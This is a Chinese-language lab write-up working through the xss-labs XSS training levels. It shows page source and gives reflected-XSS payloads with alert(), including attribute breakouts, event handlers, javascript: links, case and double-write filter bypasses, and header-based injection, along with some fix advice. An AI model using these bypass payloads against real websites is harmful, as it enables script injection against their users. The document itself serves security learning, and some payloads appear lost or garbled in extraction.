xss-labs 學習
By:Mirror王宇陽
time:2020/04/06
level1
我們進入到這個頁面之後,快速關注到幾個點,Xss注重的輸入點,這裡的輸入點首先在URL欄中找到了name
值,Payload檢測了該值的長度,所以我們接下來的所有動作都在這個地方進行。
我們翻開原始碼發現
<body>
<h1 align=center>歡迎來到level1</h1>
<h2 align=center>歡迎使用者test</h2>
<center><img src=level1.png></center>
<h3 align=center>payload的長度:4</h3>
</body>
我們可以對name
熟悉做手腳,試構造Payload:
name=<script>alert(/xss/)</script>
修復建議
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>歡迎來到level1</title>
</head>
<body>
<h1 align=center>歡迎來到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎使用者".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>
從原始碼中可以看出問題出自$str = $_GET["name"];
,將使用者輸入的內容原樣輸出了
$str = htmlspecialchars($_GET["name"] , ENT_QUOTES);
使用 htmlspecialchars
函式轉為HTML實體,留意第二個引數不要忘了!後續的許多原始碼與這裡同一個道理,具體的在做解釋!
level2
本題題面看不出區別,但是HTML就有所構造不同了
<body>
<h1 align=center>歡迎來到level2</h1>
<h2 align=center>沒有找到和<>test相關的結果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<>test">
<input type=submit name=submit value="搜尋"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的長度:6</h3></body>
沒錯,後臺使用了函式對<>
進行了HTML實體,不過我們也還是發現了一個點!
<input name=keyword value="<>test">
input輸入點,沒錯後端在搜尋後是保留搜尋的關鍵字內容,所有這就是缺洞!
"><script>alert(1)</script><"
Payload完美的閉合了input標籤
<input name=keyword value=""><script>alert(1)</script><"">
level3
<body>
<h1 align=center>歡迎來到level3</h1>
<h2 align=center>沒有找到和<>test相關的結果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='<>test'>
<input type=submit name=submit value=搜尋 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的長度:6</h3></body>
這裡將level2的漏給堵上了!我們從<>
可以得知後端是利用htmlspecialchars
函式轉為HTML實體編碼後輸出的,但我們在level1的時候說了htmlspecialchars
存在一種開發手誤,就是後端開發忘記了設定函式的第二引數導致“會轉換雙引號,不轉換單引號”
ps:這裡的input標籤中的屬性使用的單引號,所以我們的Payload才可以成功!
' onclick=alert(1) '
<input name=keyword value='' onclick=alert(1) ''>
這裡有一點比較有趣,就是onclick這個屬性;我們都知道輸入框輸入之後,保留輸入內容,而我們的onclick
就會保留在input標籤中,而觸發條件需要我們單擊輸入框。
level4
發生了一個比較玄學的東西,我們再來瞅瞅HTML原始碼
<body>
<h1 align=center>歡迎來到level4</h1>
<h2 align=center>沒有找到和<>text相關的結果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="text">
<input type=submit name=submit value=搜尋 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的長度:4</h3></body>
<input name=keyword value="text">
沒錯,我們輸入的兩個尖括號消失了;而且input標籤採用了雙引號,level3的方法也是行不通的!不過我還是“多此一舉”的使用雙引號
" onclick=alert(1) "
沒想到!成功了!看樣子後端沒有HTML實體編碼!
level5
<body>
<h1 align=center>歡迎來到level5</h1>
<h2 align=center>沒有找到和<script></srcipt> ' " test相關的結果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="<scr_ipt></srcipt> ' " test">
<input type=submit name=submit value=搜尋 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的長度:27</h3></body>
綜合了幾個不同的payload特性測試了level5的過濾方式,發現在<h2>
標籤使用了HTML實體編碼,在<input>
標籤則沒有使用HTML實體編碼而是做了些過濾刪改“ 對script轉為scr_ipt ”,後續測試發現 “onclick =》 o_click”,雙寫、大小寫混合等方式均失敗!
繞過的策略就是避開他拉黑的函式,使用其它的方式觸發!其它事件屬性測試後發現沒有效果,都被加了下劃線隔開了!可見事件觸發式不行的了!
另闢蹊徑~我們……使用a標籤去繞過對scrip標籤的檢查和事件屬性的檢測
"><a href="javascript:alert(/xss/)">alert</a> <"
level6
<body>
<h1 align=center>歡迎來到level6</h1>
<h2 align=center>沒有找到和<script> <a> href \ " ' alert相關的結果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="<scr_ipt> <a> hr_ef \ " ' alert">
<input type=submit name=submit value=搜尋 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的長度:32</h3></body>
可以發現,對上一關的 href
做了過濾隔開!測了上前五關的payload,然後使用雙寫、大小寫方式繞過:
"><a HREf="javascript:alert(/xss/)">alert</a> <"
level7
<body>
<h1 align=center>歡迎來到level7</h1>
<h2 align=center>沒有找到和<script> <a> href \ " ' alert相關的結果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value="<> <a> \ " ' alert">
<input type=submit name=submit value=搜尋 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的長度:20</h3></body>
這裡可以看出簡單粗暴的處理方式,直接將敏感內容為空了!然後使用雙寫、大小寫方式繞過:
"><a hrehreff="javascripscriptt:alert(/xss/)">alert</a> <"
level6:沒有對輸入變數進行統一小寫/大寫轉換,應該新增
strtolower
函式統一小寫,便於以下操作:$str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);
level7:必須注意
str_replace
函式,該函式只對字串進行一次查詢並全部替換、大小寫敏感;解決方法就是將替換後的字串再一次作為替換源進行替換。$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);
level8
可以看出,這裡的輸入內容是一個超連結!
<body>
<h1 align=center>歡迎來到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword value="<><script>onclick ' " / alert herf ">
<input type=submit name=submit value=新增友情連結 />
</form>
</center><center><BR><a href="<><scr_ipt>o_nclick ' " / alert herf ">友情連結</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的長度:41</h3></body>
第一時間想到了 javascript:alert(xss)
,但是發現 script
被分割了!
通過前輩的思路,學來了編碼繞過…… HTML編碼 >> 照例解析 >> 輸出HTML程式碼(我們輸入的HTML編碼 輸出的則是程式碼,HTML實體編碼在HTML頁面會被解析而在後端看不到)
javascript:alert(/xss/)
javascript:alert(/xss/)
level9
<body>
<h1 align=center>歡迎來到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword value="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x2f;&#x78;&#x73;&#x73;&#x2f;&#x29;">
<input type=submit name=submit value=新增友情連結 />
</form>
</center><center><BR><a href="您的連結不合法?有沒有!">友情連結</a></center><center><img src=level9.png></center>
<h3 align=center>payload的長度:138</h3></body>
使用level8-payload測試,發現如上!推測後端對我們的輸入內容進行了檢測!
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的連結不合法?有沒有!">友情連結</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情連結</a></center>';
}
後端檢測了字串中是否有“http://”,我們需要在合適的地方插入它:
javascript:alert('http://')
level10
<body>
<h1 align=center>歡迎來到level10</h1>
<h2 align=center>沒有找到和<><script> onclick ' " /相關的結果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的長度:24</h3></body>
keyword
值被HTML實體編碼了,沒有利用的必要了,也沒有閉合的可能!
關注三個被隱藏的input標籤:?keyword=test&t_link=test&t_history&t_sort=test
只有t_sort
這個引數有了效果,構造:
" onclick=alert(/xss/) type="text" ><
?keyword=test&t_sort=" onclick=alert(/xss/) type="text" ><
<input name="t_sort" value="" onclick=alert(/xss/) type="text" " type="hidden">
ok~~~?
level11
<body>
<h1 align=center>歡迎來到level11</h1>
<h2 align=center>沒有找到和test相關的結果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" onclick=alert(/xss/) type="text" ><" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的長度:4</h3></body>
?keyword=test&t_link=test&t_history&t_sort=test
t_sort
被HTML實體編碼,雙引號閉合,沒戲了!換一個思路t_ref
的引數值是請求包中的Referer
ok~~~?
level12
<body>
<h1 align=center>歡迎來到level12</h1>
<h2 align=center>沒有找到和good job!相關的結果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的長度:9</h3></body>
和level11如出一轍
ok~~~?
level13
<body>
<h1 align=center>歡迎來到level13</h1>
<h2 align=center>沒有找到和good job!相關的結果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="" type="hidden">
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的長度:9</h3></body>
ok~~~?
level14
環境出現問題 ~~~ ❓ ”shy014“復現level14關
level15
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不錯!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>歡迎來到level15</title>
</head>
<h1 align=center>歡迎來到第15關,自己想個辦法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:1.gif"></span></body>
眨眼一看非常的懵啊!然後仔細觀察了src
引數值1.gif
而頁面並沒有成功的載入該圖片;於是我注意到angular.min.js
,我不瞭解Angular,所以我查了class="ng-include"
AngularJS ng-include
指令 用於包含外部的HTML檔案,包含的內容作為元素的子節點,屬性值可以是一個表示式返回一個檔名;意思就是我們可以利用src包含一個存在xss的頁面(包含level13/12/11沒反應)
src= 'level10.php?t_sort=" onclick=alert(/xss/) type="text" >< '
level16
<body>
<h1 align=center>歡迎來到level16</h1>
<center><>< > scrip t " ' \</center>
<center><img src=level16.png></center>
<h3 align=center>payload的長度:4</h3></body>
level16.php?keyword=<><script>script scripScrIPtt " ' \
後端過濾了script
\
替換為 
但是每有過濾尖括號,我們使用img標籤
<img%0asrc=x%0aonerror=alert(1)>
這裡的%0a
是換行,之所以不用空格是發現後端還過濾的空格
level17
<body>
<h1 align=center>歡迎來到level17</h1>
<embed src=xsf01.swf?a=<><scripscriptt> ' " \ () onclick onerror img width=100% heigth=100%><h2 align=center>成功後,<a href=level18.php?arg01=a&arg02=b>點我進入下一關</a></h2>
</body>
level17.php?arg01=a&arg02==<><scripscriptt> ' " \ () onclick onerror img
尖括號、雙引號均被HTML實體編碼;通常是採用閉合的方式xss,但這裡直接把尖括號給斃了!所以就得考慮其它思路。
?arg01=a&arg02=b%0aonmouseover%3dalert(1)
level18
<body>
<h1 align=center>歡迎來到level18</h1>
<embed src=xsf02.swf?a=b width=100% heigth=100%></body>
?arg01=a&arg02=b%0aonmouseover%3dalert(1)
和level19 同一個payload ?
level19/level20
首先修改 的寬高,然後就會全顯示如下:
能力之外的兩關關於flash
END